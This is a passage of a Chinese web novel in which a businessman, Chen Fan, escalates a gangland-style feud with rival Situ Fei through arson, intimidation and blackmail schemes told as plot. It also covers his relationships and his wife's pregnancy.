我看着他们,脸上依旧没什么表情,只是冷冷道:“司徒先生,如果这就是你说的道歉,那我想,我们没什么好谈的。”
我直接站起身,就要往外面走。
“陈总,你别着急!”司徒飞立刻起身说道:“误会可以解释,道歉也可以,今天请你来,主要是交个朋友,生意场上,不打不相识。”
司徒飞突然拍了拍手,然后从大厅的另一侧,一个身材火辣的女郎推着一个餐车,走了进来,餐车上面没有食物,就只盖了一块红布。
司徒飞走到餐车前,伸手,猛地掀开了红布。
红布下面是一个玻璃罩子,罩子里,盘子上,赫然摆着一只被烤得金黄酥脆的乳猪,乳猪嘴里,还叼着一朵鲜艳的玫瑰。
“我听说陈总在海城东郊的度假区开业,请了林薇儿录视频,风光无限啊。”司徒飞拿起旁边一把银光闪闪的餐刀,用刀尖轻轻拍了拍玻璃罩子,道:“我没什么文化,就准备了这道‘烤全猪’,给陈总助助兴,祝陈总以后在上城的生意像这头猪一样,红红火火,任人宰割!”
用烤乳猪和任人宰割这两个词来比喻我,这就是直接打我的脸了,所有人的目光都**在我身上,想要看我的笑话,可我却看着司徒飞,然后笑了。
“司徒先生……”我摇了摇头道:“你真的很不会请客。”
我伸手,从西装内袋里,掏出了一个比手机略小的黑色设备,轻轻放在面前的茶几上。
我伸出食指,悬停在那个红色按钮上方一厘米处。
“我也给司徒先生准备了一份回礼,只不过,我的礼物,可能没那么雅观。”
我不管司徒飞变脸与否,而是继续说道:“我这个人,没什么优点,就是记性好,爱较真,我的赌场里发生的一切,包括谁说了什么话,谁动了什么手,我都记得清清楚楚,而且,我喜欢备份。”
我抬眼,目光扫过疯狗强和那几个跟班,道:“尤其是各位的脸和声音,我备份得特别清晰。”
司徒飞的脸彻底阴沉下来,他死死盯着那个黑色设备问道:“陈凡,你什么意思?”
“没什么意思,我就是提醒一下司徒先生还有各位兄弟,现在是法治社会,干什么都要讲证据,打打杀杀,那是上个世纪的老黄历了。”
“司徒先生,你的节目很精彩,不过,我还有事,就先走了!”
“陈凡!”司徒飞低吼一声,他青筋暴起道:“你以为你走的出这个门?!”
他话音落下,大厅各个角落,包括电梯口,瞬间出现了七八个黑衣保镖,手里都拿着黑色的甩棍或电击器,眼神冰冷地看着我。
疯狗强的拳头已经捏得嘎嘣作响,随时准备扑上来。
剑拔**张,一触即发。
我笑了笑,然后手指轻轻点在了那个红色按钮旁。
“司徒先生……”我看着他,语气依旧平
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淡道:“我来之前,已经给我的律师和几个媒体的朋友发了封定时邮件,内容就是关于上城某些娱乐场所涉嫌违法经营、暴力伤人,以及可能存在的保护伞,如果我晚上十点前没有回去取消,邮件就会自动发出。”
司徒飞的脸色难看,他的表情让我知道,他害怕了。
司徒飞不怕火拼,不怕商业打压,但他绝对怕“官方”和“媒体”,尤其是涉及到可能存在的“保护伞”这种敏感问题。
司徒家在上城势力再大,也不敢公然和整个体制对抗。
我给他的回礼,不是暴力,不是恐吓,而是一击毙命。
司徒飞不言语,那是他在想对策。
他挥了挥手,示意手下的人退回去,他对我说道:“陈总,果然名不虚传,今天,是我招待不周了,改天,一定重新设宴,向陈总赔罪。”
他这话,等于认怂了。
我点点头,收起那个黑色设备,转身离开。
身后,我能感受到无数道目光,他们由怨恨,有诧异,但更多的是仇恨!
电梯门打开,我走了进去,转身,面对着大厅,我看见疯狗强死死的盯着我,他的嘴唇动了动,看口型,他应该在对我说:“你等着!”
电梯下行,我知道,这场鸿门宴,我走出来了,可我和司徒飞的战争,从这一刻,才是真正开始。
我走出了会所,走到了我的车子前,我看了一眼周围,没有发现司徒飞派人跟踪我,反倒是,我发现刘经理派来的人,一直在暗中保护我。
我心想:刘经理这人办事还算是靠谱,看来以后重要的事情交给他办,我也能放心。
我坐上车后,立刻发动汽车离开会所,我其实也担心司徒飞临时变卦,在追出来对我动手,我不怕以一敌十,但是双拳难敌几十双手,在没有绝对把我之前,我是不会轻易行动。
我看了看后视镜,发现刘经理的人还没有走,看来他们是在盯梢。
我对刘经理的好印象多了一分。
我拿起手机,拨打了叶轻尘的电话……
既然司徒飞当着众人的面不拿我当人,那我也没必要跟他客气……
181柳媚笙来上城了!
司徒飞今晚对我的所作所为,更加坚定了我对他动手的决心。
他今天是心软放过我吗?不!不是!
那是因为我手里有可以威胁到他的证据,等他处理好关系后,他会再次对我下手,什么下次再请我吃饭,在我看来不过就是缓兵之计。
我马上给叶轻尘打了一个电话,电话迅速被他接起。
“陈总,有什么吩咐?”
“司徒飞在宴会上打算对我动手,你现在马上动手,目标还是翡翠宫和城北那个小区,翡翠宫以破坏为主,制造混乱,小区那边,我要司徒飞的情妇受到惊吓!”
“明白。”叶轻尘回答得干净利落,道:“翡翠宫放火,小区演戏,保证给陈总办妥。”
“记住,手脚干净点,你不要露面,做完立刻安排兄弟们离开上城,钱我会打进去!”我再一次叮嘱道。
“放心,陈总!”叶轻尘肯定道。
我对叶轻尘这个人有着一种天然的放心感,这个男人办事靠谱。
我紧接着又给刘经理去了电话,我直接吩咐道:“按照原计划启动,你重点清理来支援翡翠宫的尾巴。”
“收到陈总,我已经就位!”
做完这些,我将车开到了城东一个偏僻的旧仓库,这里是我给自己准备的,也是我今晚的临时办公地点。
我不能回家,不可以去赌场,因为那里可能有司徒飞安排的眼线盯着。
在仓库里,有几台电脑,那是我特意弄的网络,我打开电脑,屏幕上显示出来监控摄像,这些监控位置,就是翡翠宫和城北小区。
时间在一点点的流逝,忽然,我看到了翡翠宫赌场传来的路口监控!
几辆没有牌照的面包车突然从不同方向疾驰而来,停车后,车门哗啦拉开,十几个手持钢管、**,甚至还有自制**的人从车上下来。
他们二话不说,直接冲进了翡翠宫。
不一会儿,翡翠宫马上就骚动起来,从里面跑出来许多客人,他们慌张不易,面色惊恐,没过多久,就看到翡翠宫门口燃起了滚滚浓烟。
看来是里面着火了。
紧接着那群人从赌场里冲了出来,他们完成任务后,立刻跳上了面包车,然后快速的消失在了街道里。
整个过程,不超过三分钟,高效且暴力!
我面无表情的看着监控录像里赶来的消防车,这里不会造成大规模伤亡,但是足够让翡翠宫损失惨重。
司徒飞最重要的现金奶牛之一,如今被我掐断了奶。
几乎在同一时间,第二个摄像,城北的某个高档小区,也看到了我的人。
一辆黑色轿车悄无声息的开进了小区侧门的一个角落,从车上下来了两个穿着黑色衣服和口罩的那人,他们翻过不算高的围墙,然后消失在绿化带中。
几分钟后,小区里的某一栋的中间窗户,灯光忽然聚类晃动了几下,然后就熄灭,紧接着,隐约传来女人短促的惊叫,但很快被什么捂住了,戛然而止,又过了一会儿,那层楼的走廊灯亮起,似乎有保安被惊动上去查看,但很快又一切归于平静,灯光也熄灭了。
过了几分钟后,我收到了叶轻尘的电话。
“陈总,司徒飞的情妇搞定,她现在正躲在被子里发抖呢!”叶轻尘哈哈大笑。
“情妇说了什么?”我问。
“没说什么,就说别让咱们伤害她,要多少钱,她都给咱们!”叶轻尘问道。
“那你们要钱了吗?”我问。
“要了啊,你不说要演戏演得像么,不拿她的钱,怎么装成****。”叶轻尘有理有据道。
“好好好……”我连着说了三声好,我对叶轻尘也是一点办法都没有。
我关掉监控画面,靠在冰冷的椅背上,点了支烟。
第一波反击已经打出,接下来,我就看司徒飞如何接招了。以他的性格,暴怒是必然的,更大的报复也必然在酝酿中。
但经过今晚这两下,他至少会明白,对付我,不能再用砸场子、摆鸿门宴这种简单粗暴的手段了,他要掂量掂量,激怒我是否划算。
更重要的是,经此一事,上城其他观望的势力,也会重新评估“凡颜资本”和我的分量。示弱会引来群狼,展示爪牙,才能迎来盟友。
抽完烟,我正准备收拾东西离开这个临时据点,手机又响了。
这次是柳媚笙。
我看着屏幕
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上跳动的名字,心头那根因为紧张对峙而绷紧的弦,莫名地松了一丝,但随即又被另一种更复杂的情绪缠绕。
接起电话,还没等我开口,她清冷中带着一丝疲惫的声音就传了过来:
“我在上城。”
我微微一怔:“什么时候到的?”
“下午,没告诉你。”她停顿了一下,“听说……司徒飞请你吃饭了?”
消息传得真快。不过以柳媚笙经营多年的情报网,知道这件事不奇怪。
“嗯,刚回来。”我没提细节。
“没吃亏吧?”她问,语气听起来平淡,但尾音里有一丝不易察觉的紧绷。
“没有。”我说,“还给他准备了两份‘小礼物’。”
电话那头沉默了几秒,然后传来她极轻的一声叹息,像是松了口气,又像是无奈:“你总是这样……不肯吃半点亏。”
“吃亏是福,但那福气给司徒飞比较合适。”我开了个不好笑的玩笑。
她又沉默了一会儿,才说:“我宝格丽酒店等你,要来么?”
我看了看时间,已经接近午夜。
“好。”我说道:“半小时后到。”
挂了电话后,我马上开车朝着宝格丽酒店而去,这所酒店可谓奢华至极,普通一个房间就要几千元一宿。
如果不是我身家上涨,我也舍不得去这种酒店开房。
来到宝格丽酒店,我去找柳媚笙,还没等我敲门,她就主动给我开门,今晚的她,穿着一件高龄的羊绒衫,长发松散的披着,她的面容在昏黄的灯光下,显得妩媚又柔和。
可她身上却有着挥着不去的疲惫。
“今晚,很累吧。”她拉着我的手,整个人投入了我的怀里,然后我随手关门,我拥抱着她,往床边走去。
“干嘛……”柳媚笙害羞娇嗔了我一眼。
“大晚上,孤男寡女,共处一室,你说干嘛?”我手指捏了捏她的下巴。
柳媚笙整个人顺势就依靠在我的怀里,她娇笑道:“你忙了一整个晚上,就一点不累?”
我当然有些疲惫,可是英雄难过美人关。
我笑着在她耳边道:“美人在侧,我当然要一亲芳泽……”
182柳媚笙有事?
我和柳媚笙折腾了一个小时,我才从床上坐起来。
我拿过烟盒,柳媚笙很有眼力的拿过火机,帮我点燃这只香烟。
“谢谢……”
我微微一笑,柳媚笙也拿过一只烟,然后抽了起来,她抽烟的样子极具妩媚动人,尤其是她吐出一个一个的烟圈,更为她增加了几分魅力。
“你今天对司徒飞动手,他那边不会就这么算了,他丢了这么大的脸,还损失了翡翠宫,你还恐吓敲诈了他的情妇,他肯定会用更激励的手段找回来。”
“我知道。”我抽了一口烟,接着说道:“所以我也没有等他先出手,我直接先下手为强,我不想给他太多对付我的时间。”
柳媚笙抬眼看我:“你还有后手?”
“算不上后手,我只是在他要报复我的路上,多挖几个坑,他现在最想做的,无非两件事:一是找到我,用最解气的方式报复,二是弄清楚我到底抓住了他什么把柄。”
“你把证据交出去了?”柳媚笙皱眉问道。
“没有。”我摇摇头说道:“虚则实之,实则虚之,我手里确实有些东西,但不足以一击致命,最多让他麻烦一阵,所以不如当成悬在他头上的剑,让他时刻提防,分散精力,我对他真正的杀招,不在那些所谓的证据里。”
柳媚笙看着我,眼神里流露出思索:“那在哪里?”
“在他身边。”我缓缓说道,“司徒飞嚣张跋扈,得罪的人不止我一个,他手下那些人,跟着他是为了钱和势,但同样也会因为钱和势背叛他,尤其是当他接连吃亏,显得外强中干的时候。”
“你想从内部瓦解他?”柳媚笙明白了,接着问我:“这需要时间,也需要契机。”
“时间我们有,契机也可以创造。”我说,“比如,如果司徒飞因为‘翡翠宫’被烧而损失惨重,不得不削减手下人的利益,或者因为怀疑内部有鬼而开始猜忌、清洗……那么,裂痕自然就会出现,又或者还有司徒晴这个棋子,当司徒飞这个家主,不如人意的时候,我想司徒家的人应该会选择新的家主。”
柳媚笙沉默了片刻,她没有着急发表意见,只是对我说道:“你比在海城时,更沉得住气了,也更狠了。”
“环境逼的。”我抽着烟说道:“在海城,对手是冯天宇那种草包,在这里,是司徒家这样的庞然大物,我如果不用点心思,活不下去。”
“也包括对我?”她忽然问,抬眼直视着我,目光清冽。
这个问题猝不及防。我迎着她的目光,没有回避:“不包括。”
“是吗?”她嘴角勾起一抹极淡的笑容,问我:“那为什么假死的事,还是最后一个告诉我?”
柳媚笙的旧事重提,让我哭笑不得,看来女人还是记仇。
“这件事,是我错了,没有借口,我当时思绪很乱,局面也太危险。我做了自以为正确的选择,但那选择伤害了你。这是事实,我认。”
我的坦诚似乎让她有些意外。她看了我几秒,然后移开视线,望向窗外沉沉的夜色。
“陈凡,”她轻声说,“我有时候觉得,我看不透你。你好像有很多面,对夏颜是一种样子,对周叶青是一种样子,对我又是另一种样子,哪一面才是真的你?”
这个问题比刚才那个更难回答。我沉默着,思考着。
“都是真的。”良久,我才开口,道:“夏颜需要的是一个可以并肩作战、也能让她安心卸下盔甲的盟友和爱人。周叶青需要的是一个有价值、够狠辣、能帮她对付司徒家的合作者。而你……”
我停顿了一下,看着她被灯光勾勒出的柔和侧影:“你需要什么,我不知道。但我希望在你面前,我可以不用扮演任何角色,可以狼狈,可以犯错,可以……不那么强大。”
这话说出口,我自己都有些讶异。但它就这么自然而然地流了出来,像是一直藏在心底某个角落,直到此刻才被这静谧的夜晚和她的问题牵引出来。
柳媚笙的身体几不可察地颤了一下。她没有回头,但我看到她的耳尖,微微泛起了红晕。
“龙三爷那边,”她忽然换了个话题,声音恢复了平时的清冷,但语速快了些,像是想掩饰什么,“我查到点新东西。”
“哦?”我立刻提起精神。
“他和司徒家,不只是生意往来那么简单。”柳媚笙转过身,表情严肃起来,“十年前,龙三爷在江城遇到过一次**烦,差点翻船。当时出面帮他摆平麻烦、渡过难关的,就是司徒鸣的父亲,司徒老爷子。”
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>我眼神一凝:“有恩?”
“不止是恩。”柳媚笙压低了声音,“事后,龙三爷在江城的好几条重要运输线和码头股份,都秘密转给了司徒家代持。名义上是合作,实际上是……投名状,或者说是报答。司徒家借助龙三爷在江城的势力,打通了很多见不得光的渠道。他们之间,是利益深度捆绑的盟友。”
这个消息分量不轻。如果龙三爷和司徒家是这种关系,那么动龙三爷,几乎等于直接和司徒家全面开战。而司徒家在上城的根基,远比冯家深厚得多。
“难怪……”我喃喃道,“难怪司徒鸣做事这么肆无忌惮,原来在江城还有这么一条强援。”
“所以,对付司徒家,或者对付龙三爷,都不能分开看。”柳媚笙总结道,“动了其中一个,另一个绝不会坐视不理。”
局势比预想的更复杂,也更凶险。
我看着柳媚笙,她眼里有对血仇的执着,也有对现实的清醒认知,还有一丝……对我处境的担忧。
“你怕吗?”我问。
“怕?”她笑了笑,笑容里带着一丝苍凉和决绝,“从阿战死的那天起,我就不知道什么叫怕了。我只是……不想连累你卷入太深。这是我的仇。”
“现在也是我的了。”我握住她放在桌上的手,她的手依旧冰凉,“我说过,你的仇,就是我的仇。而且,就算没有你,我和司徒家也已经是不死不休。多一个龙三爷,不过是债多了不愁。”
她看着我握她的手,没有抽回,只是反手,轻轻回握了一下。那力道很轻,却让我心头一暖。
“接下来,你打算怎么做?”她问。
“先应付司徒飞的报复。”我说,“稳住上城的局面。龙三爷那边,需要从长计议,必须找到一击致命的弱点,或者……让他们先乱起来。”
柳媚笙点点头:“江城那边,我会继续查。龙三爷这些年树敌也不少,未必没有空子可钻。”
“小心点。”我叮嘱,“江城不是我们的地盘,安全第一。”
“你也是。”她说,“司徒飞是条疯狗,被逼急了什么都做得出来。”
“陈凡,”她欲言又止。
“嗯?”
“没什么。”她最终摇摇头,转身上了台阶,“早点休息。”
183夏颜怀孕了!
上午的阳光透过宝格丽的窗户,照射在我和柳媚笙的脸上,她下意识的翻了翻身,往我的怀里挤。
我拿出手机,公司这边发来消息:“司徒飞与境外科技公司达成5G项目合作意向。”
“看来司徒飞的动作,比我们想的要快,至少他比司徒宇的动作快。”
我一边抚摸柳媚笙的脸颊,一边沉声说道:“司徒宇当初不过是和国内的部门谈合作,司徒飞这下玩更大的,竟然和境外科技公司合作。”
“那你们这边的进度呢?”柳媚笙问道。
“我们这边公司,所有的人都是周叶青负责整合的,所有的架构完成至少还需要半个月。”
虽然我是以凡颜资本来触及5G项目,可幕后的掌舵人还是周叶青。
“司徒飞的优势是技术积累和先发优势,”我用红色记号笔在地图上圈出几个点,道:“但劣势也很明显,他太自信了,以为自己能吃掉整块蛋糕,把合作伙伴都当工具。”
“所以你要分化瓦解?”柳媚笙挑眉。
“不止。”我放下手机道:“我们要给他制造一个他意想不到的对手。”
就在这时,我的手机震动起来。
屏幕上跳出的名字让我动作微微一愣,竟然是夏颜。
于是我对柳媚笙做了一个噤声的手势,然后我接通电话。”
电话接通的那一瞬间,是有几秒钟的沉默,然后才传来夏颜的声音,和平时不同的是,这次她说话的时候声音里竟然有些颤抖。
“老公……”她在电话那边轻声呼喊我:“我在医院。”
我心里马上紧张了起来,急忙问道:“医院,你怎么了,出什么事情了?”
我心里不禁纳闷,如果夏颜有事情的话,那周大伟和刘飞肯定会告诉我啊。
“我没事,”她很快说,然后又停顿了一下,声音更轻了,“是……我们有事。”
柳媚笙好像听到了我们的谈话,她安静的退出了房间,给了我足够的空间。
这点让我心里很感动。
“老婆,你说清楚到底是怎么回事?”
我听到她深呼吸的声音,然后,她说出了那句让我脑中一片空白的话:“我怀孕了,六周。”
怀孕了。
夏颜怀孕了。
我的孩子。
我惊讶的手机差点掉在了地上,无数个念头瞬间冲进了我的脑海,有惊喜,有震惊,有责任,还有骄傲!
不过现实却给我泼了一盆冷水,现在是什么时候?
是我和司徒飞刚刚宣战的时候,上城现在的局势对我来说波橘云诡,每一步都要如履薄冰,而在这个时候夏颜怀孕了。
“陈凡?”夏颜的声音带着不确定道:“你在听吗?”
“我在。”我的声音有些沙哑,道:“老婆,你确定吗?医生怎么说?你身体还好吗?”
“确定,验血和B超都做了。”她的声音渐渐恢复了平时的镇定,但底下还是能听出情绪的波澜,“医生说一切正常,只是孕酮稍微有点低,需要补充,我身体很好,你别担心。”
“我怎么能不担心?”我脱口而出,然后意识到自己的语气太急,关心道:“我的意思是……你现在在哪里?身边有人吗?我马上回来。”
“不用!”夏颜立刻说,道:“海城这边一切都好,我能处理,你在上城的事情更重要,司徒飞不会给你喘息的机会。”
“没有什么比你更重要。”我马上说道。
电话那头沉默了,几秒钟后,我听到她轻轻的叹息声,那叹息里带着温暖的笑意。
“陈凡,你知道吗,刚才护士问我,要不要告诉孩子的爸爸时,我第一反应是如果告诉你,你会是什么表情。”
我也笑了,尽管眼睛有些发涩:“那我现在是什么表情?”
“我想象不出来,”她的声音变得柔软,“但我猜应该是傻傻的。”
“是很傻,”我有些内疚道:“老婆,我……”
我想说很多话,说对不起这段时间没能陪在你身边,说谢谢你给我这份世界上最珍贵的礼物,说我一定会保护好你们,但千言万语堵在喉咙口,最后只化作一句:“等我回来。”
“好。”她轻声应道:“但你答应我,专心处理好上城的事,我和孩子都会好好的,不用担心。”
我们又说了几句,大多是她在安抚我,告诉我孕早期的注意事项其实没那么复杂,她会照顾好自己。
最后挂电话时,她还叮嘱我不要因为这件事分心。
放下手机,我站在窗前很久很久
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。窗外上城的天际线在晨光中逐渐清晰,那座象征着权力和财富的城市此刻在我眼中有了不同的意义。
柳媚笙走过来,安静地递给我一杯新泡的咖啡。她没有问,但显然猜到了什么。
“我需要调整计划。”我看着窗外,声音已经恢复了平日的冷静,“时间不多了。”
“因为夏颜?”柳媚笙问得直接。
我转过头看她说道:“因为她,也因为孩子,我要在最短的时间内,结束和司徒飞的战争。”
柳媚笙沉默片刻,点点头道:“明白了,那么,你刚才说的意想不到的对手是?”
“司徒晴。”我说道:“司徒飞掌控家族企业后,第一件事就是把司徒晴提出局,所以我打算安排司徒晴回去。”
“但她是司徒家的人,”柳媚笙指出关键,“就算和司徒飞有矛盾,她凭什么帮我们对付自己的家族?”
“两个原因。”我竖起两根手指,“第一,尊严。司徒飞不仅夺走了她的产业,还对她赶尽杀绝!这种仇恨,我想司徒晴能分得清楚。”
“第二,司徒晴如果不和我合作,她是没有办法回到司徒家的,她这辈子就完了,我们要做的就是给她一个拿回尊严,实现理想的机会。”我说。
我看了看柳媚笙道:“司徒晴你就不用担心,我心里有把握,你这段时间,多盯着龙三爷和司徒飞,看看他们两个人到底是什么联系。”
“好。”
“我要去见见司徒晴。”我说道。
柳媚笙暂时就居住在宝格丽酒店,以她的能力,想住在哪里都可以。
和柳媚笙吃完午饭后,我开车去静水庄园,司徒晴这段时间,一直居住在周家,只有在这里,司徒飞才不敢乱来。
夏颜怀孕的消息,让我倍感喜悦的同时,又让我感受到了一种沉甸甸的责任,我要给我的孩子一个安全的世界,一个不会被司徒飞这样的对手威胁的世界。
我的手机震动,是夏颜发来的消息:“按时吃饭,别喝太多咖啡。我和宝宝都很好,勿念。”
我回复:“好,晚上视频。”
夏颜的一句话,却让我感到一种前所未有的踏实。
我知道,在海城,又一个即将到来的新生命,在等着我回去……
184暴怒的司徒飞!
云顶会所,已经快要下午了。
宿醉的司徒飞才从豪华套房上爬起来,他拿出手机,开机,手机上显示了无数个未接来电。
司徒飞点燃了一根雪茄,披着睡衣,坐在沙发上,不紧不慢的回了电话。
“说,发生什么事情了?给我打这么多的电话。”司徒飞不满道。
“司徒总裁,出事了,翡翠宫被人给砸了!”电话那头保安经理颤颤巍巍的汇报着,他生怕那句话说错了,被司徒飞给解雇了。
“什么!”司徒飞将手里的雪茄掐断,质问道:“你给我说清楚,什么叫被人砸了!”
如果不是亲耳听到,司徒飞还以为对方在说梦话。
在上城,竟然还有人敢砸自己的场子?获得不耐烦了?
“今早凌晨左右,有三个没有牌照的面包车,冲进咱们翡翠宫,他们下来了十几个人,不由分说,进来就一顿砸,里面之前的东西都被拿走了!”
“还有苏小姐……”保安经理提到了一嘴司徒飞的情妇。
“苏曼怎么了?”司徒飞心里一紧,这个女人虽然表面是自己的情妇,可背地里,却帮着自己处理一些见不得光的资金。
“苏小姐凌晨家里糟了强盗,有两个男的翻墙进了小区,然后将苏小姐家值钱的东西都搬走了!”
“这么重要的事情,你怎么才和我说!”司徒飞骂道。
“司徒总裁,我们已经报治安署了,苏小姐也只是收了点惊吓,她本人没有什么事情。”
“报**治安署!”司徒飞将手中的雪茄踩碎,然后咆哮道:“封锁现场,所有人不许离开,我马上到!”
司徒飞拿起手机,气的胸口剧烈起伏,多少年了,在上城,他都是欺负人的主,自己什么时候被人欺负,这下好了,不但场子被砸,就连女人都被偷家了!
现在好了,昨晚自己还嘲笑陈凡,结果今天就沦为了上城的笑柄。
司徒飞坐在车里,他的电话响了,是他安排在治安署里的内线。
“司徒总裁。”对方声音及其小声的说道:“我们接到匿名举报,关于苏曼名下的房产和账户……最近您还是谨慎点。”
司徒飞还没等说话,那边就急匆匆的挂掉电话了。
“陈凡……”司徒飞咬牙切齿地吐出这个名字。虽然没有任何证据,但他的直觉告诉他,这一定是陈凡干的。
只有陈凡,才有这个胆子来挑战自己!
上午九点,翡翠宫。
司徒飞的千万豪车直接开了进去,他一下车,整个人都要气炸了!
“妈的!”
“老子上千万的紫檀木,给我砸了?”
“还有哪些名家字画,都给毁了?”
司徒飞现在气的要吐血了,他狠狠的瞪着周围的保安,怒骂道:“要你们何用?啊?!回答我!老子的家产都守不住,你们不是号称以一打十么!才来了十几个人,就给你们都打蒙了!”
“司徒总裁。”一个穿着西装的中年男人快步走了过来,他是司徒鸣的私人律师,他说道:“根据现场的轻点,现金损失大概三千万。”
“看清谁干的?监控呢?”司徒飞骂道。
“所有监控设备都被破坏了,硬盘被带走。”私人律师压低声音,道:“从现场痕迹看,对方非常专业,动作快,目标明确,不像普通的地痞流氓。”
“当然不像……”司徒飞冷笑道:“这他妈是特种部队的作风。”
他走到被撬开的保险箱前,蹲下身,用手指抹过箱门边缘的撬痕。工具很专业,下手又狠又准,普通的小偷绝没有这种手法。
“司徒总裁……”**犹豫了一下问道:“苏小姐那边……我们要怎么处理?”
“她不会说的。”司徒飞站起身,拍了拍手上的灰,“她知道说出任何不该说的,她全家都活不了。”
话虽如此,但司徒飞心里清楚,一旦苏曼开口,他这些年精心构建的保护网就会出现致命的漏洞。那些通过苏曼输送的利益,那些隐藏在境外账户的资金,那些不方便亲自出面处理的肮脏交易……每一条,都足以让他万劫不复。
**点头:“明白,那……陈凡那边?”
“他?”司徒飞转过身,眼神里闪烁着疯狂的光芒,“既然他敢玩这么大,那我就陪他玩到底。他不是喜欢砸场子吗?好啊,我让他知道,什么才叫真正
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的砸场子。”
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当天下午,司徒飞的报复开始了。
第一波打击是针对“凡颜资本”的。下午两点,上城银监局突然发布公告,称将对部分“资金来源不明”的金融机构进行专项检查,名单上第一个就是“凡颜资本”控股的一家小型商业银行。
两点半,网络上开始出现大量关于陈凡的“黑料”,到与柳媚笙、夏颜、林薇儿等女性的“混乱私生活”,甚至还有他与境外资本“勾结”的所谓证据。
虽然大多荒诞不经,但在水军的疯狂转发下,很快冲上了热搜。
我是在静水山庄看到这些消息的。
周叶青将电脑放在我面前道:“司徒飞动手了,比我们预想的还要快,还要狠。”
我靠在椅背上,手里摆弄着手机,笑着说道:“正常,翡翠宫是他的命根子,苏曼是他的钱袋子。我们动了这两个,他不发疯才怪。”
“银监局那边,我已经让律师团队去沟通了,问题不大,就是走个过场。”周叶青说道。
有周叶青替我摆明人脉,我根本没有什么好担心的!
“其实我最担心的,就是媒体上说我和女人的事情,夏颜已经怀孕了,我怕她……”
“这点你不用担心,我已经和上城所有媒体打好招呼了,你是我周家要保的人,我看哪家媒体敢发消息!”周叶青眼神里的坚定,让我很是感谢。
“我还是决定应该把夏颜放在我身边,她在海城,我鞭长莫及。”我说这话看了一眼周叶青。
她当然知道我这一眼是什么意思,于是没等我开口就说道:“让她来静水山庄,我周家保她。”
“多谢周总。”
“这样你就能全身心的和司徒飞斗!”
我点了点头,然后拿起手机,给夏颜打去了电话。
“老婆……”我柔和的问道:“你那边还好吗?”
“我很好,别担心。”夏颜的声音听起来很平静,“网上的那些东西,我都看到了,你别管他们,专心处理上城的事。”
“司徒飞可能知道我们的事了。”陈凡直截了当地说,“你和孩子可能会有危险,我需要你……”
185司徒晴的心思!
“我知道该怎么做。”夏颜打断我说道:“我已经搬回夏家老宅了,这里有可靠的安保,公司的事情,我也暂时交给副手处理,老公,我不会让自己成为你的弱点。”
我心头一暖,同时也涌起一阵愧疚。
夏颜怀孕的时候,我本应该陪在她的身边,保护着她和孩子,但现在我却要让她独自面对这些。
“对不起,等这件事情结束……”我低声的表达着自己的歉意。
“别说对不起……”夏颜温柔地说:“我们是夫妻,是一体的,你要做什么就放手去做,我和孩子等你回来。”
挂断电话,我深吸一口气,重新看向周叶青说道:“她不来……”
周叶青微微点点头,道:“她是不想给你添麻烦,她知道自己来上城的话,你就会分心,这样,我会派两组周家秘卫的人去保护你老婆。”
当说到老婆这个字的时候,周叶青还特意加重了声音。
两组周家秘卫,那就是十二人,这已经是很强大的安保力量了!
“谢谢……”我朝周叶青笑着说道。
自从我来到上城后,我确实在周叶青的庇护下,城长了不少。
“你接下来要怎么做?需要我怎么配合你?”周叶青问我。
“司徒飞不是最在乎5G项目么,我们可以将项目交给司徒晴来做,让她和司徒飞抢生意,打擂台,到时候,你觉得司徒家的人会怎么选择?”
我将心里的想法说给周叶青听,我也想听听她的想法和建议。
“可以,这是一个一举两得的办法,既利用了司徒晴,又高效的打击了司徒飞。”周叶青对我的这个计划很是满意。
“我们手里的公司,可以直接把法人换成司徒晴,这不过就是走个程序的事情,至于公司里面的技术骨干,陈总是什么想法?”周叶青问我。
“其实……我需要挖来一个人……”我说道。
“让我猜猜,不如我们同时写下这个人的名字,看看我们是不是想到一起去了。”周叶青说道。
我在桌子上写出了一个周字,而周叶青则用手机打出了两个字,周明。
果然英雄所见略同。
“司徒家旗下的5G公司财务总监,周明。”我说道。
“据说他是司徒飞的死忠,你有几分把握挖来?”周叶青问我。
“周明表面上算是死忠。”我把暗中调查的资料说给周叶青听。
“但我查过,周明这三年在飞越科技,表面风光,实际上被司徒飞架空得很厉害,所有重大财务决策,司徒飞都绕过他,直接找自己的亲信处理,周明这个财务总监,现在就是个签字盖章的工具人。”
“而且,周明有个独生子,去年在国外留学时染上了赌瘾,欠了**两百万美元,周明为了还债,挪用了公司一笔钱,虽然事后补上了,但账目上留下了痕迹,这件事如果被司徒飞知道……”
“周明就完了。”周叶青笑了笑道:“所以我们可以用这个把柄,逼他反水?”
“不是逼他反水,是给他一个自救的机会,告诉他,只要他愿意配合我们,他儿子的事,我们可以帮他解决,那两百万美元,我们替他还,而且等司徒飞倒台后,他可以继续留在公司,甚至有机会坐上更高的位置。”
周叶青看着我不说话,可嘴角的笑意越发的明显。
“你笑什么?”我有些不解的问周叶青。
“你还真是一个招数发挥到极致啊!”周叶青笑了笑道。
“什么?”我有些不解,没明白她是什么意思。
“从冯家开始,你就用这招收买刘伟,然后到了夏家,你还是用这招,现在呢,你对付周明也是,你真是将利用人的把柄发挥到炉火纯青的地步了。”
“只要这个招数好使,就多用用,反正只要把人给能挖过来就行!”
“你这招可以。”周叶青想了想说道:“但是派谁区间他,让司徒晴去?”
我想了想还是摇了摇头,司徒晴现在还没有实力背景,只是空有一个司徒家大小姐的身份,让她去和周明谈判,周明会相信么?
要是我,我都不信。
周
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叶青看了看我,道:“所以你要亲自去见周明,你只要做一件事,就是在司徒飞和国外签订5G项目之前,找机会破坏流程或者拖延时间,就可以。”
“这边,我会让司徒晴去和国外的电信企业沟通。”周叶青道。
这一招,其实就是在和时间赛跑。
就看我和司徒飞谁的反应更快一些。
“破坏签约这种事情,周明是老行家,他只要稍微疏忽一下,在某个财务文件上写错一个字,这个签约就能推迟一两个星期。”
周叶青看着我,眉目灿然一笑道:“我现在明白司徒飞为什么这么恨你了,你这个人,不仅敢砸他的场子,还总是能在他最得意的时候,给他最狠的一刀。”
“这才刚刚开始。”我重新坐回椅子上,语气平淡,道:“司徒飞以为他的报复能让我害怕,能让我退缩,但他错了,他每报复一次,只会让我更确定这个人,我必须彻底打倒,否则,我和我身边的人,永远不会安全。”
我的话刚说完,眼睛就往院子那边飘去,因为我看见了司徒晴正朝着我这里走过来。
今天的她,穿的一个羊绒蓝色衬衫,陪着一条浅色的牛仔裤,打扮的颇有一副邻家少女的感觉。
见到我后,她眼睛里闪了闪光。
“她来到山庄后,从来没有问过她父亲和她哥哥的消息。”周叶青对我说道。
“她……”
“她应该是觉得司徒鸣和司徒宇都**,所以不想问,也没必要问。”周叶青平静的说道:“现在的司徒晴可不是那个养尊处优的大小姐了。”
